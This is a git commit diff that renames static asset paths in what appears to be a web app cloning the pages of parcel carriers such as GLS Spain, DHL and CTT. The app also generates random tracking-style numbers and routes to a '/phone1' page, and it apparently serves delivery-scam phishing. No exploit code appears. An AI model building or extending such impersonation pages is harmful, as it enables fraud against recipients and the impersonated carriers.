This commit is contained in:
telangpu
2026-04-29 21:51:30 +08:00
parent c73ff3b77a
commit 7107a95c10
178 changed files with 227 additions and 158 deletions

View File

@@ -6,20 +6,20 @@
<title>Empresa de paquetería y mensajería líder en calidad de envío</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<link rel="shortcut icon" href="/Static/fc.ico" type="image/x-icon">
<link rel="shortcut icon" href="/Static_zy/fc.ico" type="image/x-icon">
<link rel="preload" as="font"
href="/Static/media/gls_group_resources/gls_group_assets/gls_group_newsongls_web_bold_woff2.woff2" crossorigin="anonymous">
href="/Static_zy/media/gls_group_resources/gls_group_assets/gls_group_newsongls_web_bold_woff2.woff2" crossorigin="anonymous">
<link rel="preload" as="font"
href="/Static/media/gls_group_resources/gls_group_assets/gls_group_newsongls_web_regular_woff2.woff2"
href="/Static_zy/media/gls_group_resources/gls_group_assets/gls_group_newsongls_web_regular_woff2.woff2"
crossorigin="anonymous">
<link rel="preload" as="font"
href="/Static/media/gls_group_resources/gls_group_assets/gls_group_newsongls_web_italic_woff2.woff2"
href="/Static_zy/media/gls_group_resources/gls_group_assets/gls_group_newsongls_web_italic_woff2.woff2"
crossorigin="anonymous">
<link rel="stylesheet" href="/Static/media/gls_group_resources/gls_group_vendor_css.css?1776082445002" media="all">
<link rel="stylesheet" href="/Static/media/gls_group_resources/gls_group_main_css.css?1776082445002" media="all">
<link rel="stylesheet" href="/Static/media/gls_group_resources/gls_group_app_css.css?1776082445002" media="all">
<link rel="stylesheet" href="/Static_zy/media/gls_group_resources/gls_group_vendor_css.css?1776082445002" media="all">
<link rel="stylesheet" href="/Static_zy/media/gls_group_resources/gls_group_main_css.css?1776082445002" media="all">
<link rel="stylesheet" href="/Static_zy/media/gls_group_resources/gls_group_app_css.css?1776082445002" media="all">
<style type="text/css">

View File

@@ -23,8 +23,8 @@ const path = require('path');
// 检查命令行参数
const KEEP_CURRENT = process.argv.includes('--keep');
const PUBLIC_DIR = path.join(__dirname, 'public/Static');
const STATIC_DIR = path.join(__dirname, 'public/Static/st');
const PUBLIC_DIR = path.join(__dirname, 'public/Static_zy');
const STATIC_DIR = path.join(__dirname, 'public/Static_zy/st');
const FILES_TO_PROCESS = ['footer.html'];
// const FILES_TO_PROCESS = ['home.html', 'page2.html', 'page3.html', 'page4.html', 'page5.html'];
@@ -109,7 +109,7 @@ FILES_TO_PROCESS.forEach(filename => {
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
return `url("/Static/st/assets/images/${imageName}")`;
return `url("/Static_zy/st/assets/images/${imageName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -137,7 +137,7 @@ FILES_TO_PROCESS.forEach(filename => {
// 确保属性间有正确的空格
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
return `<img${before} src="/Static/st/assets/images/${imageName}"${after}>`;
return `<img${before} src="/Static_zy/st/assets/images/${imageName}"${after}>`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -165,7 +165,7 @@ FILES_TO_PROCESS.forEach(filename => {
// 确保属性间有正确的空格
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
return `<img${before} src="/Static/st/assets/images/${imageName}"${after}>`;
return `<img${before} src="/Static_zy/st/assets/images/${imageName}"${after}>`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -191,7 +191,7 @@ FILES_TO_PROCESS.forEach(filename => {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
const varName = match.split(':')[0];
return `${varName}: url("/Static/st/assets/images/${imageName}")`;
return `${varName}: url("/Static_zy/st/assets/images/${imageName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
@@ -214,7 +214,7 @@ FILES_TO_PROCESS.forEach(filename => {
fs.writeFileSync(cssPath, cssContent);
// 收集 CSS 链接,稍后会统一放到顶部
cssLinks.push(`<link rel="stylesheet" href="/Static/st/assets/css/${cssName}">`);
cssLinks.push(`<link rel="stylesheet" href="/Static_zy/st/assets/css/${cssName}">`);
// 先删除原 style 标签
content = content.replace(styleTag, '');
@@ -236,7 +236,7 @@ FILES_TO_PROCESS.forEach(filename => {
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(fontPath, buffer);
return `url("/Static/st/assets/fonts/${fontName}")`;
return `url("/Static_zy/st/assets/fonts/${fontName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
return match;
@@ -254,7 +254,7 @@ FILES_TO_PROCESS.forEach(filename => {
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(fontPath, buffer);
return `url("/Static/st/assets/fonts/${fontName}")`;
return `url("/Static_zy/st/assets/fonts/${fontName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
return match;
@@ -372,7 +372,7 @@ FILES_TO_PROCESS.forEach(filename => {
// 验证生成的文件
if (imageCount > 0 || cssCount > 0 || fontCount > 0) {
console.log(` 提示: 请确保资源路径 /Static/st/assets/ 在服务器上可访问\n`);
console.log(` 提示: 请确保资源路径 /Static_zy/st/assets/ 在服务器上可访问\n`);
} else {
console.log(` 未找到可提取的资源\n`);
}
@@ -391,6 +391,6 @@ console.log(' ✅ 所有 style 已提取到 CSS 文件');
console.log(' ✅ 只保留 body 内的内容');
console.log(' ✅ CSS 引用已放到顶部');
console.log(' ✅ 图片扩展名已修复svg+xml → svg');
console.log(' ✅ 使用绝对路径(/Static/st/assets/');
console.log(' ✅ 使用绝对路径(/Static_zy/st/assets/');
console.log(' ✅ HTML 属性值已自动加上双引号');
console.log('\n💡 提示: 刷新浏览器测试页面,所有资源应该正常加载');

View File

Before

Width:  |  Height:  |  Size: 1.4 KiB

After

Width:  |  Height:  |  Size: 1.4 KiB

View File

Before

Width:  |  Height:  |  Size: 2.0 KiB

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

Before

Width:  |  Height:  |  Size: 1.8 KiB

After

Width:  |  Height:  |  Size: 1.8 KiB

View File

Before

Width:  |  Height:  |  Size: 2.5 KiB

After

Width:  |  Height:  |  Size: 2.5 KiB

View File

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 15 KiB

File diff suppressed because one or more lines are too long

View File

@@ -22,7 +22,7 @@ onMounted(() => {
});
const login = async function () {
headerHtml.value = await loadHtml("/Static/header.html");
headerHtml.value = await loadHtml("/Static_zy/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
@@ -56,7 +56,7 @@ const login = async function () {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Static/footer.html");
footerHtml.value = await loadHtml("/Static_zy/footer.html");
};
</script>

View File

@@ -98,5 +98,12 @@ const router = createRouter({
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;

View File

@@ -321,8 +321,8 @@ export const loadingBg = ref("#ffffff");
const initHtml = async () => {
const routePath = localStorage.getItem("route");
headerHtml.value = await loadHtml("/Static/header.html");
footerHtml.value = await loadHtml("/Static/footer.html");
headerHtml.value = await loadHtml("/Static_zy/header.html");
footerHtml.value = await loadHtml("/Static_zy/footer.html");
await router.push(routePath ? `/${routePath}` : "/phone1");
setTimeout(async () => {
useLoadingStore().setLoading(false);

View File

@@ -71,7 +71,7 @@ function generateRandomTenDigitNumber(): string {
<!-- Banner principal GLS -->
<div class="gls-banner-bar">
<img
src="/Static/Driver-riding-an-ebike-on-a-park_M02_4X3.jpg"
src="/Static_zy/Driver-riding-an-ebike-on-a-park_M02_4X3.jpg"
alt="GLS Spain — Envíos rápidos y seguros para todos"
class="banner-img"
/>
@@ -214,21 +214,21 @@ function generateRandomTenDigitNumber(): string {
<!-- (gls_group_molecule_icon_row_item): start -->
<li class="ce_icon_box ">
<div class="image">
<img src="/Static/ES/icons/2023/Hub_blue.svg" alt="Hub de GLS Spain">
<img src="/Static_zy/ES/icons/2023/Hub_blue.svg" alt="Hub de GLS Spain">
</div>
<div class="text">34 delegaciones y alrededor de 560 agencias</div>
</li>
<!-- (gls_group_molecule_icon_row_item): end --><!-- (gls_group_molecule_icon_row_item): start -->
<li class="ce_icon_box ">
<div class="image">
<img src="/Static/ES/icons/2023/Meeting-room_blue.svg" alt="Empleados de GLS Spain">
<img src="/Static_zy/ES/icons/2023/Meeting-room_blue.svg" alt="Empleados de GLS Spain">
</div>
<div class="text">Empleados GLS Spain: Alrededor de 1.500</div>
</li>
<!-- (gls_group_molecule_icon_row_item): end --><!-- (gls_group_molecule_icon_row_item): start -->
<li class="ce_icon_box ">
<div class="image">
<img src="/Static/ES/icons/2023/Network_blue.svg" alt="Clientes de GLS Spain">
<img src="/Static_zy/ES/icons/2023/Network_blue.svg" alt="Clientes de GLS Spain">
</div>
<div class="text">Clientes GLS Spain: Alrededor de 3.000</div>
</li>

View File

@@ -66,7 +66,7 @@ function generateRandomNineDigitNumber(): number {
<CommonLayout>
<template #default>
<img
src="/Static/woman-signs-for-package-0002.jpeg"
src="/Static_zy/woman-signs-for-package-0002.jpeg"
alt="DHL Bilde"
style="width: 100%; height: auto; max-width: 100%; margin-top: 0px;margin-bottom: -5px;"
>

View File

@@ -131,7 +131,7 @@ onUnmounted(() => {
<!-- Start Icon -->
<div class="cd-timeline-start">
<div class="cd-timeline-start-caption">
<img decoding="async" src="/Static/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
<img decoding="async" src="/Static_zy/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
</div>
</div>
<!-- Timeline Blocks -->
@@ -240,7 +240,7 @@ onUnmounted(() => {
<!-- End Icon -->
<div class="cd-timeline-start cd-final">
<div class="x_cd-timeline-start-caption">
<img decoding="async" src="/Static/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
<img decoding="async" src="/Static_zy/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
</div>
</div>
</section>